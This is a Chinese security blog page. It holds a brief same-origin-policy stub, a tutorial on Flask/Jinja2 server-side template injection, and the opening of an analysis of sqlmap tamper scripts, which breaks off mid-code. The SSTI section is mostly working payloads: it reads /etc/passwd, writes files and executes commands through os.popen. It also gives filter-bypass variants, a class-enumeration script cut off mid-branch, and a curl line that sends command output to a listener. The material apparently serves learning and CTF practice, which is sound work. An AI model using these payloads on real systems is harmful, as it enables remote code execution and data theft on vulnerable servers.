分类 网络安全 下的文章

关于跨域问题

前言

浏览器同源策略(SOP)导致了跨域。

同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。这是一个用于隔离潜在恶意文件的重要安全机制。

找到很不错的几篇文章

深入Flask&jinja2的SSTI

前言

没啥好说的……

常见的模板引擎php的Twig 和 Flask的jinja2

这里主要说一下Flask的jinja2

例子

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

存在ssti地方很有可能存在xss。

原理

大致原理是[],{},''是Python中的内置变量。通过内置变量的一些属性或函数去访问当前Python环境中的对象继承树,可以从继承树爬到根对象类。利用__subclasses__()等函数爬向每一个Object,这样便可以利用当前Python环境执行任意代码。

import os

a = 'archerx'

def test():
    print('this is the test.')


print(test.__globals__)

print(test.__globals__['__builtins__'].eval("print('yes')"))

输出如下:

{'test': <function test at 0x00875198>, '__doc__': None, '__loader__': <_frozen_importlib.SourceFileLoader object at 0x008347F0>, 'os': <module 'os' from 'C:\\Python34\\lib\\os.py'>, '__package__': None, '__cached__': None, '__file__': 'F:/pycharm/test/test1/test1.py', '__name__': '__main__', '__spec__': None, '__builtins__': <module 'builtins' (built-in)>, 'a': 'archerx'}
yes

可以发现在__globals__中会包括引入的moudels,并且每个Python脚本会自动加载builtins这个模块,这个模块中包含了很多built-in函数,包括eval,exec,open等。

接下来来了解Python中一些常见的特殊方法:

  • __class__返回调用的参数类型。
  • __base__返回基类
  • __mro__允许我们在当前Python环境下追溯继承树
  • __subclasses__()返回子类
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Archerx
# @time: 2019/1/26 下午 03:33
import os
a = 'archerx'

def test():
    print('this is the test.')

class test1(object):
    def __init__(self):
        pass

class test2(test1):
    def __init__(self):
        pass

print(test.__globals__)
print(test.__globals__['__builtins__'].eval("print('yes')"))   #
print(test.__class__)  #返回调用的参数类型   <class 'function'>
print(test1.__bases__)  #返回该类的基类   (<class 'object'>,)
print(test1.__subclasses__())  #返回该类的子类   [<class '__main__.test2'>]

jinja2获取基类的方法有下面几种(先获取当前类然后向后追溯):

print(''.__class__.__mro__)  #(<class 'str'>, <class 'object'>)
print(''.__class__.__mro__[1])  #<class 'object'>
#下面这几个用__bases__或者__mro__都能获取基类
print({}.__class__.__bases__[0])    #<class 'object'>
print(().__class__.__bases__[0])   #<class 'object'>
print([].__class__.__bases__[0])    #<class 'object'>

现在我们的思路就是从一个==内置变量==调用__class__.__base__等隐藏属性,去找到一个函数,然后调用其__globals__['__builtins__']即可调用eval等执行任意代码。

内置变量包括'' , {} , []这些都是可以的。

返回基类所有子类的列表:

>>> ''.__class__.__base__.__subclasses__()
[<class 'NoneType'>, <class 'itertools.count'>, <class 'urllib3.packages.six._LazyDescr'>, <class 'requests.sessions.SessionRedirectMixin'>, <class '_ctypes.CThunkObject'>, <class 'Struct'>, <class 'dict'>, <class 'itertools.compress'>, <class 'tarfile.TarIter'>, <class 'string.Template'>, <class 'tarfile._StreamProxy'>, <class '_collections._deque_iterator'>, <class '_thread._local'>, <class 'functools.partialmethod'>, <class 'email.message._IsAttachment'>, <class 'threading.Semaphore'>, <class 'dict_items'>, <class 'pkgutil.ImpLoader'>, <class 'chardet.charsetprober.CharSetProber'>, <class 'chardet.chardistribution.CharDistributionAnalysis'>, <class 'wrapper_descriptor'>, <class 'collections.abc.Sized'>, <class 'datetime.tzinfo'>, <class '_frozen_importlib._LoaderBasics'>, <class 'urllib3.connection.HTTPConnection'>, <class '_frozen_importlib.ModuleSpec'>, <class 'ellipsis'>, <class 'logging.BufferingFormatter'>, <class 'tarfile._Stream'>, <class 'requests.adapters.BaseAdapter'>, <class 'os._wrap_close'>, <class 'bytearray_iterator'>, <class 'textwrap.TextWrapper'>, <class 'threading.Event'>, <class '_ctypes.DictRemover'>, <class 'stderrprinter'>, <class '_io.IncrementalNewlineDecoder'>, <class 'itertools.islice'>, <class 'itertools.product'>, <class 'types.SimpleNamespace'>, <class 'dict_keyiterator'>, <class 'logging.Manager'>, <class 'method_descriptor'>, <class 'cell'>, <class 'logging.Formatter'>, <class '_bz2.BZ2Decompressor'>, <class 'zipfile._ZipDecrypter'>, <class 'itertools.takewhile'>, <class '_frozen_importlib._ManageReload'>, <class 'mimetypes.MimeTypes'>, <class 'MultibyteStreamWriter'>, <class 'list_iterator'>, <class 'ctypes.CDLL'>, <class 'reversed'>, <enum 'Enum'>, <class 'threading.Thread'>, <class '_frozen_importlib.WindowsRegistryFinder'>, <class 'builtin_function_or_method'>, <class 'itertools.permutations'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'str'>, <class 'operator.attrgetter'>, <class 'email.feedparser.BufferedSubFile'>, <class 'contextlib.suppress'>, <class 'urllib3.util.selectors.BaseSelector'>, <class 'logging.Filter'>, <class 'urllib3.util.retry.Retry'>, <class 'sre_parse.Tokenizer'>, <class 'PyHKEY'>, <class 'queue.Queue'>, <class 'code'>, <class 'list'>, <class 'uuid.UUID'>, <class 'tarfile.TarFile'>, <class 'sre_parse.SubPattern'>, <class 'weakref'>, <class '_thread._localdummy'>, <class 'super'>, <class 'zip'>, <class 'contextlib.ContextDecorator'>, <class 'zipfile.LZMADecompressor'>, <class 'MultibyteStreamReader'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.FileFinder'>, <class '_ssl._SSLSocket'>, <class 'weakproxy'>, <class 'datetime.date'>, <class 'property'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'traceback'>, <class 'chardet.jpcntx.JapaneseContextAnalysis'>, <class 'collections.abc.Hashable'>, <class 'itertools.accumulate'>, <class 'http.cookiejar.CookieJar'>, <class 'range_iterator'>, <class 'datetime.timedelta'>, <class 'float'>, <class 'frozenset'>, <class '_ctypes._CData'>, <class 'chardet.enums.LanguageFilter'>, <class 'urllib3.response.DeflateDecoder'>, <class 're.Scanner'>, <class 'tuple_iterator'>, <class 'email.charset.Charset'>, <class 'getset_descriptor'>, <class '_sitebuiltins._Printer'>, <class 'urllib.request.URLopener'>, <class 'reprlib.Repr'>, <class 'module'>, <class 'hmac.HMAC'>, <class 'http.cookiejar.Absent'>, <class 'operator.methodcaller'>, <class 'chardet.enums.SequenceLikelihood'>, <class 'EncodingMap'>, <class 'subprocess.STARTUPINFO'>, <class 'copy._EmptyClass'>, <class 'zipfile.LZMACompressor'>, <class 'method-wrapper'>, <class 'zipfile.ZipInfo'>, <class 'memoryview'>, <class '_ctypes.CField'>, <class '_sre.SRE_Pattern'>, <class 'NotImplementedType'>, <class 'MultibyteCodec'>, <class 'datetime.timedelta'>, <class 'frame'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'range'>, <class 'urllib3.util.timeout.Timeout'>, <class 'requests.models.RequestEncodingMixin'>, <class '_frozen_importlib._SpecMethods'>, <class 'mappingproxy'>, <class 'itertools._grouper'>, <class 'calendar._localized_month'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class '_bz2.BZ2Compressor'>, <class 'weakref.finalize._Info'>, <class 'itertools.filterfalse'>, <class 'datetime.date'>, <class '_collections._deque_reverse_iterator'>, <class 'email.header._ValueFormatter'>, <class '_lzma.LZMADecompressor'>, <class 'contextlib.closing'>, <class '_frozen_importlib.PathFinder'>, <class 'collections.deque'>, <class 'set'>, <class 'chardet.codingstatemachine.CodingStateMachine'>, <class 'bytes_iterator'>, <class 'codecs.StreamRecoder'>, <class 'instancemethod'>, <class '__future__._Feature'>, <class 'dict_itemiterator'>, <class '_sre.SRE_Match'>, <class 'tarfile._FileInFile'>, <class 'urllib3.connection.DummyConnection'>, <class 'complex'>, <class 'dict_valueiterator'>, <class 'BaseException'>, <class 'sre_parse.Pattern'>, <class 'urllib3.packages.six._SixMetaPathImporter'>, <class 'codecs.IncrementalDecoder'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib3.connectionpool.ConnectionPool'>, <class '_frozen_importlib._NamespaceLoader'>, <class 'staticmethod'>, <class 'enumerate'>, <class 'http.cookiejar.Cookie'>, <class '_hashlib.HASH'>, <class 'itertools.cycle'>, <class 'email.header.Header'>, <class 'tarfile._LowLevelFile'>, <class 'calendar.Calendar'>, <class 'tempfile._TemporaryFileCloser'>, <class 'list_reverseiterator'>, <class 'itertools.zip_longest'>, <class '_frozen_importlib._installed_safely'>, <class 'tuple'>, <class 'weakcallableproxy'>, <class 'email.feedparser.FeedParser'>, <class 'itertools.chain'>, <class 'warnings.catch_warnings'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'http.cookiejar.CookiePolicy'>, <class '_json.Encoder'>, <class 'slice'>, <class 'urllib3.request.RequestMethods'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'zipfile.ZipFile'>, <class 'codecs.IncrementalEncoder'>, <class 'contextlib.ExitStack'>, <class 'logging.Filterer'>, <class 'threading._RLock'>, <class 'managedbuffer'>, <class 'ipaddress._BaseV4'>, <class 'logging.PercentStyle'>, <class 'itertools._tee'>, <class 'zlib.Compress'>, <class 'tempfile._RandomNameSequence'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'MultibyteIncrementalDecoder'>, <class 'dict_keys'>, <class 'email.message.Message'>, <class 'moduledef'>, <class 'codecs.Codec'>, <class '_frozen_importlib._ImportLockContext'>, <class 'calendar.different_locale'>, <class 'ipaddress._BaseV6'>, <class 'warnings.WarningMessage'>, <class 'function'>, <class 'bytes'>, <class 'email.parser.Parser'>, <class 'dict_values'>, <class 'calendar._localized_day'>, <class '_io._BytesIOBuffer'>, <class '_random.Random'>, <class 'int'>, <class 'filter'>, <class 'iterator'>, <class 'chardet.enums.ProbingState'>, <class 'urllib3.response.GzipDecoder'>, <class '_frozen_importlib._ModuleLock'>, <class 'email.parser.BytesParser'>, <class 'urllib.parse._ResultMixinStr'>, <class 'itertools._tee_dataobject'>, <class '_frozen_importlib.ExtensionFileLoader'>, <class '_sitebuiltins._Helper'>, <class 'map'>, <class 'collections._Link'>, <class 'str_iterator'>, <class 'functools.partial'>, <class '_json.Scanner'>, <class 'datetime.time'>, <class '_lzma.LZMACompressor'>, <class 'PyCapsule'>, <class '_ssl._SSLContext'>, <class 'chardet.enums.MachineState'>, <class 'email._policybase._PolicyBase'>, <class 'collections.abc.Container'>, <class 'unicodedata.UCD'>, <class 'threading.Condition'>, <class 'urllib.request.BaseHandler'>, <class 'urllib3.fields.RequestField'>, <class 'subprocess.Popen'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'itertools.combinations_with_replacement'>, <class 'requests.models.RequestHooksMixin'>, <class '_thread.RLock'>, <class 'longrange_iterator'>, <class 'logging.LogRecord'>, <class '_socket.socket'>, <class 'urllib.request.ftpwrapper'>, <class 'string.Formatter'>, <class '_weakrefset._IterationGuard'>, <class 'itertools.combinations'>, <class 'bytearray'>, <class '_weakrefset.WeakSet'>, <class 'contextlib.redirect_stdout'>, <class 'collections.abc.Iterable'>, <class 'zlib.Decompress'>, <class 'logging.LoggerAdapter'>, <class 'urllib.request.OpenerDirector'>, <class 'ctypes.LibraryLoader'>, <class 'requests.cookies.MockRequest'>, <class 'weakref.finalize'>, <class '_sre.SRE_Scanner'>, <class 'requests.auth.AuthBase'>, <class 'email._parseaddr.AddrlistClass'>, <class 'logging.PlaceHolder'>, <class 'requests.cookies.MockResponse'>, <class 'member_descriptor'>, <class 'itertools.groupby'>, <class 'classmethod_descriptor'>, <class 'requests.models.Response'>, <class 'type'>, <class '_frozen_importlib._NamespacePath'>, <class 'operator.itemgetter'>, <class 'urllib.request.Request'>, <class 'classmethod'>, <class 'itertools.dropwhile'>, <class '_winapi.Overlapped'>, <class 'CArgObject'>, <class '_thread.lock'>, <class 'fieldnameiterator'>, <class '_frozen_importlib.FrozenImporter'>, <class 'ipaddress._IPAddressBase'>, <class 'chardet.universaldetector.UniversalDetector'>, <class 'MultibyteIncrementalEncoder'>, <class 'generator'>, <class '_io._IOBase'>, <class 'json.encoder.JSONEncoder'>, <class 'chardet.enums.InputState'>, <class 'formatteriterator'>, <class 'collections.abc.Callable'>, <class 'itertools.repeat'>, <class 'callable_iterator'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib.FileLoader'>, <class 'set_iterator'>, <class '_sitebuiltins.Quitter'>, <class 'chardet.enums.CharacterCategory'>, <class 'datetime.tzinfo'>, <class 'http.client.HTTPConnection'>, <class 'tokenize.Untokenizer'>, <class 'codecs.StreamReaderWriter'>, <class 'itertools.starmap'>, <class 'tarfile.TarInfo'>, <class 'types.DynamicClassAttribute'>, <class 'pkgutil.ImpImporter'>, <class 'method'>, <class 'threading.Barrier'>, <class 'abc.ABC'>, <class 'json.decoder.JSONDecoder'>, <class 'zipimport.zipimporter'>]

随便找个类查看一下__init__

>>> ''.__class__.__base__.__subclasses__()[26].__init__
<slot wrapper '__init__' of 'object' objects>

>>> ''.__class__.__base__.__subclasses__()[26].__init__.__globals__
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'

wrapper 代表这个类没有被重载过,这是他不算是function,不具有__globals__属性。

换一下前面数字直到这到一个被重载的类:

>>> ''.__class__.__base__.__subclasses__()[25].__init__.__globals__
{'MAGIC_NUMBER': b'\xee\x0c\r\n', '_gcd_import': <function _gcd_import at 0x004D9ED0>, 'spec_from_file_location': <function spec_from_file_location at 0x004D0FA8>, '_find_spec': <function _find_spec at 0x004D9DB0>, '_imp': <module '_imp' (built-in)>, '_lock_unlock_module': <function _lock_unlock_module at 0x004D0780>, '_find_spec_legacy': <function _find_spec_legacy at 0x004D9D68>, 'marshal': <module 'marshal' (built-in)>, 'ExtensionFileLoader': <class '_frozen_importlib.ExtensionFileLoader'>, 'FrozenImporter': <class '_frozen_importlib.FrozenImporter'>, '_blocking_on': {}, '_get_sourcefile': <function _get_sourcefile at 0x004D08A0>, '_code_to_bytecode': <function _code_to_bytecode at 0x004D0B70>, '__import__': <function __import__ at 0x004DB030>, 'DEBUG_BYTECODE_SUFFIXES': ['.pyc'], '_DeadlockError': <class '_frozen_importlib._DeadlockError'>, 'ModuleSpec': <class '_frozen_importlib.ModuleSpec'>, '_validate_bytecode_header': <function _validate_bytecode_header at 0x004D0AE0>, '_wrap': <function _wrap at 0x004D0270>, 'BuiltinImporter': <class '_frozen_importlib.BuiltinImporter'>, '_ImportLockContext': <class '_frozen_importlib._ImportLockContext'>, '_installed_safely': <class '_frozen_importlib._installed_safely'>, '_compile_bytecode': <function _compile_bytecode at 0x004D0B28>, 'SourceFileLoader': <class '_frozen_importlib.SourceFileLoader'>, '_path_isfile': <function _path_isfile at 0x004D0198>, '_requires_builtin': <function _requires_builtin at 0x004D09C0>, '_NamespacePath': <class '_frozen_importlib._NamespacePath'>, '_install': <function _install at 0x004DB108>, '_path_stat': <function _path_stat at 0x004D0108>, '_RAW_MAGIC_NUMBER': 168627438, '_weakref': <module '_weakref' (built-in)>, '_spec_from_module': <function _spec_from_module at 0x004D3030>, '_load_module_shim': <function _load_module_shim at 0x004D0A98>, '_winreg': <module 'winreg' (built-in)>, 'OPTIMIZED_BYTECODE_SUFFIXES': ['.pyo'], '_path_join': <function _path_join at 0x004D0078>, '__loader__': <class '_frozen_importlib.FrozenImporter'>, '_io': <module 'io' (built-in)>, '_find_module_shim': <function _find_module_shim at 0x004D0A50>, '_calc_mode': <function _calc_mode at 0x004D08E8>, '_get_supported_file_loaders': <function _get_supported_file_loaders at 0x004D9FA8>, '_thread': <module '_thread' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_handle_fromlist': <function _handle_fromlist at 0x004D9F18>, '_ModuleLock': <class '_frozen_importlib._ModuleLock'>, '_write_atomic': <function _write_atomic at 0x004D0228>, '_path_is_mode_type': <function _path_is_mode_type at 0x004D0150>, '_SpecMethods': <class '_frozen_importlib._SpecMethods'>, '_code_type': <class 'code'>, '_setup': <function _setup at 0x004DB0C0>, '__builtins__': {'IsADirectoryError': <class 'IsADirectoryError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'hash': <built-in function hash>, 'BufferError': <class 'BufferError'>, 'min': <built-in function min>, 'IndexError': <class 'IndexError'>, 'BytesWarning': <class 'BytesWarning'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'abs': <built-in function abs>, '__build_class__': <built-in function __build_class__>, 'RuntimeError': <class 'RuntimeError'>, 'setattr': <built-in function setattr>, 'ImportError': <class 'ImportError'>, 'ConnectionError': <class 'ConnectionError'>, 'super': <class 'super'>, 'vars': <built-in function vars>, 'GeneratorExit': <class 'GeneratorExit'>, '__import__': <built-in function __import__>, 'all': <built-in function all>, 'EnvironmentError': <class 'OSError'>, 'next': <built-in function next>, 'FloatingPointError': <class 'FloatingPointError'>, 'round': <built-in function round>, 'slice': <class 'slice'>, 'dict': <class 'dict'>, 'FileExistsError': <class 'FileExistsError'>, 'MemoryError': <class 'MemoryError'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'ChildProcessError': <class 'ChildProcessError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UserWarning': <class 'UserWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'str': <class 'str'>, 'classmethod': <class 'classmethod'>, 'zip': <class 'zip'>, 'chr': <built-in function chr>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'memoryview': <class 'memoryview'>, 'any': <built-in function any>, 'SyntaxError': <class 'SyntaxError'>, 'id': <built-in function id>, 'BlockingIOError': <class 'BlockingIOError'>, 'tuple': <class 'tuple'>, 'InterruptedError': <class 'InterruptedError'>, 'open': <built-in function open>, 'hasattr': <built-in function hasattr>, 'ReferenceError': <class 'ReferenceError'>, 'set': <class 'set'>, 'reversed': <class 'reversed'>, 'AssertionError': <class 'AssertionError'>, 'bytes': <class 'bytes'>, 'sorted': <built-in function sorted>, 'eval': <built-in function eval>, 'format': <built-in function format>, 'bin': <built-in function bin>, 'quit': Use quit() or Ctrl-Z plus Return to exit, 'NotImplemented': NotImplemented, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'repr': <built-in function repr>, 'ConnectionResetError': <class 'ConnectionResetError'>, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, 'OSError': <class 'OSError'>, 'float': <class 'float'>, 'TypeError': <class 'TypeError'>, 'isinstance': <built-in function isinstance>, 'iter': <built-in function iter>, 'None': None, 'issubclass': <built-in function issubclass>, 'filter': <class 'filter'>, 'object': <class 'object'>, 'complex': <class 'complex'>, 'pow': <built-in function pow>, 'hex': <built-in function hex>, 'sum': <built-in function sum>, 'compile': <built-in function compile>, 'ascii': <built-in function ascii>, 'delattr': <built-in function delattr>, 'bytearray': <class 'bytearray'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'WindowsError': <class 'OSError'>, 'len': <built-in function len>, 'ValueError': <class 'ValueError'>, 'frozenset': <class 'frozenset'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'IOError': <class 'OSError'>, 'Exception': <class 'Exception'>, 'IndentationError': <class 'IndentationError'>, '_': None, 'NotADirectoryError': <class 'NotADirectoryError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'oct': <built-in function oct>, 'print': <built-in function print>, 'max': <built-in function max>, 'True': True, 'bool': <class 'bool'>, 'input': <built-in function input>, 'license': Type license() to see the full license text, 'locals': <built-in function locals>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), 'ArithmeticError': <class 'ArithmeticError'>, 'enumerate': <class 'enumerate'>, 'dir': <built-in function dir>, 'OverflowError': <class 'OverflowError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'BaseException': <class 'BaseException'>, 'AttributeError': <class 'AttributeError'>, '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'TabError': <class 'TabError'>, 'EOFError': <class 'EOFError'>, 'exit': Use exit() or Ctrl-Z plus Return to exit, 'ImportWarning': <class 'ImportWarning'>, '__debug__': True, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'map': <class 'map'>, 'credits':     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
    for supporting Python development.  See www.python.org for more information., 'exec': <built-in function exec>, 'getattr': <built-in function getattr>, 'staticmethod': <class 'staticmethod'>, 'False': False, 'Warning': <class 'Warning'>, 'PermissionError': <class 'PermissionError'>, 'UnicodeError': <class 'UnicodeError'>, 'type': <class 'type'>, '__name__': 'builtins', 'ResourceWarning': <class 'ResourceWarning'>, 'KeyError': <class 'KeyError'>, 'help': Type help() for interactive help, or help(object) for help about object., '__package__': '', 'globals': <built-in function globals>, 'TimeoutError': <class 'TimeoutError'>, 'SystemExit': <class 'SystemExit'>, 'callable': <built-in function callable>, 'range': <class 'range'>, 'LookupError': <class 'LookupError'>, 'property': <class 'property'>, 'copyright': Copyright (c) 2001-2015 Python Software Foundation.
All Rights Reserved.

Copyright (c) 2000 BeOpen.com.
All Rights Reserved.

Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'ord': <built-in function ord>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'SystemError': <class 'SystemError'>, 'list': <class 'list'>, 'divmod': <built-in function divmod>, 'int': <class 'int'>, 'StopIteration': <class 'StopIteration'>, 'Ellipsis': Ellipsis}, '_path_split': <function _path_split at 0x004D00C0>, '_r_long': <function _r_long at 0x004D0030>, 'WindowsRegistryFinder': <class '_frozen_importlib.WindowsRegistryFinder'>, '__file__': 'C:\\Python34\\lib\\importlib\\_bootstrap.py', '_call_with_frames_removed': <function _call_with_frames_removed at 0x004D07C8>, '_ModuleLockManager': <class '_frozen_importlib._ModuleLockManager'>, '_calc___package__': <function _calc___package__ at 0x004D9F60>, 'source_from_cache': <function source_from_cache at 0x004D0858>, '_check_name': <function _check_name at 0x004D0978>, '_get_module_lock': <function _get_module_lock at 0x004D0300>, 'cache_from_source': <function cache_from_source at 0x004D0810>, 'FileLoader': <class '_frozen_importlib.FileLoader'>, '_CASE_INSENSITIVE_PLATFORMS': ('win', 'cygwin', 'darwin'), '_make_relax_case': <function _make_relax_case at 0x00499F60>, '_requires_frozen': <function _requires_frozen at 0x004D0A08>, '_find_and_load_unlocked': <function _find_and_load_unlocked at 0x004D9E40>, 'spec_from_loader': <function spec_from_loader at 0x004D0C48>, '_verbose_message': <function _verbose_message at 0x004D0930>, 'SourceLoader': <class '_frozen_importlib.SourceLoader'>, '_path_isdir': <function _path_isdir at 0x004D01E0>, '_NamespaceLoader': <class '_frozen_importlib._NamespaceLoader'>, '_PYCACHE': '__pycache__', '__spec__': ModuleSpec(name='_frozen_importlib', loader=<class '_frozen_importlib.FrozenImporter'>), 'BYTECODE_SUFFIXES': ['.pyc'], '_fix_up_module': <function _fix_up_module at 0x004D3078>, '_DummyModuleLock': <class '_frozen_importlib._DummyModuleLock'>, '_LoaderBasics': <class '_frozen_importlib._LoaderBasics'>, '_module_locks': {}, '__doc__': 'Core implementation of import.\n\nThis module is NOT meant to be directly imported! It has been designed such\nthat it can be bootstrapped into Python as the implementation of import. As\nsuch it requires the injection of specific modules and attributes in order to\nwork. One should use importlib as the public-facing version of this module.\n\n', 'sys': <module 'sys' (built-in)>, 'EXTENSION_SUFFIXES': ['.pyd'], '_relax_case': <function _make_relax_case.<locals>._relax_case at 0x00499A08>, 'decode_source': <function decode_source at 0x004D0BB8>, '_new_module': <function _new_module at 0x004D02B8>, 'path_separators': '\\/', '_ManageReload': <class '_frozen_importlib._ManageReload'>, '_ERR_MSG_PREFIX': 'No module named ', 'SourcelessFileLoader': <class '_frozen_importlib.SourcelessFileLoader'>, 'SOURCE_SUFFIXES': ['.py', '.pyw'], 'path_sep': '\\', '_find_and_load': <function _find_and_load at 0x004D9E88>, '__name__': 'importlib._bootstrap', '_builtin_from_name': <function _builtin_from_name at 0x004DB078>, '_module_repr': <function _module_repr at 0x004D0C00>, '__package__': 'importlib', '_ERR_MSG': 'No module named {!r}', '_sanity_check': <function _sanity_check at 0x004D9DF8>, '_os': <module 'nt' (built-in)>, '_POPULATE': <object object at 0x004D2020>, '_resolve_name': <function _resolve_name at 0x004D3348>, 'PathFinder': <class '_frozen_importlib.PathFinder'>, 'FileFinder': <class '_frozen_importlib.FileFinder'>, '_warnings': <module '_warnings' (built-in)>, '_w_long': <function _w_long at 0x00499FA8>}

然后就能直接调用eval函数:

>>> ''.__class__.__base__.__subclasses__()[25].__init__.__globals__['__builtins__']['eval']
<built-in function eval>
>>> ''.__class__.__base__.__subclasses__()[25].__init__.__globals__['__builtins__']['eval']("print('archerx')")
archerx

python2

#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("hello world") }}

python3

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}

用脚本去遍历可以进行执行命令的类及隐藏属性,代码如下:

#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
    for attr in searchList:
        if hasattr(i, attr):
            if eval('str(i.'+attr+')[1:9]') == 'function':
                for goal in neededFunction:
                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
                        if pay != 1:
                            print(i.__name__,":", attr, goal)
                        else:

过滤绕过

过滤中括号

使用getitem()绕过

''.__class__.__mro__.__getitem__(2)
过滤[
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号

获取chr函数,赋值给chr, 然后拼接字符串:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

借助request对象:

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤双下划线

{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤{{

可以利用{%%}标记,可利用curl将执行结果带出来

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

特殊情况

有的ctf可能把flag藏在全局配置变量中,如下代码:

app.config['SECRET_KEY'] = "flag{s5Ti_1s_s0_f5n}"

@app.errorhandler(404)
def page_not_found(e):
    template = '''
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div> 
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

payload:

http://localhost/{{config}}
# 查看全部环境变量

参考

Sqlmap Tamper 分析&编写

前言

Tamper主要对payload进行更改来绕过一些规则,先拿几个sqlmap自带的tamper脚本分析一下就大概知道这种脚本应该怎么写了。

分析

随便找一个分析一下space2plus.py:

#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with plus ('+')

    Notes: 
        * Is this any useful? The plus get's url-encoded by sqlmap engine
          invalidating the query afterwards
        * This tamper script works against all databases

    >>> tamper('SELECT id FROM users')
    'SELECT+id+FROM+users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "+"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:   #单引号或者双引号包裹的不进行转换
                retVal += "+"
                continue

            retVal += payload[i]

